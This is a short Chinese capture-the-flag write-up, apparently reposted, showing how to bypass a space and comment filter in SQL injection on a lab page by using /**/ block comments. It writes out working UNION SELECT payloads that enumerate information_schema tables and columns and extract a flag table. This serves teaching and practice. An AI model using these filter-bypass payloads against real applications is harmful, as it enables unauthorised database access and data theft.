SQL注入(过滤空格和--+等注释符)
Posted Carrypan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入(过滤空格和--+等注释符)相关的知识,希望对你有一定的参考价值。
1、地址:http://ctf5.shiyanbar.com/web/index_2.php(过滤了空格和--+等注释符)
思路:确定注入参数值类型,直接输入单引号,根据报错信息确定参数值类型为字符型,如下图所示。
2、正常思路输入\' or \'1\'=\'1,直接报错,信息为SQLi detected!,首先猜测or被过滤,直接去掉or,继续输入\' \'1\'=\'1,
仍然报错,信息为SQLi detected!,猜测空格被过滤,直接输入’or‘1’=‘1,如下图所示,确定空格被过滤。
3、尝试使用多行注释符(块注释符)、一对英文括号、换行符、加号来代替空格。
第一次尝试:快注释符/**/
输入\'/**/or/**/\'1\'=\'1
输入\'/**/or/**/\'1\'=\'2,无任何返回,确定块注释符可以使用。
之后分别尝试括号、换行符和加号,均不可使用,最终采用块注释符。
4、爆当前数据库中的表
\'/**/union/**/select/**/concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/having\'1\'=\'1
5、爆flag表中字段和值
\'/**/union/**/select/**/concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'flag\'/**/having/**/\'1\'=\'1
\'/**/union/**/select/**/flag/**/from/**/flag/**/having/**/\'1\'=\'1
以上是关于SQL注入(过滤空格和--+等注释符)的主要内容,如果未能解决你的问题,请参考以下文章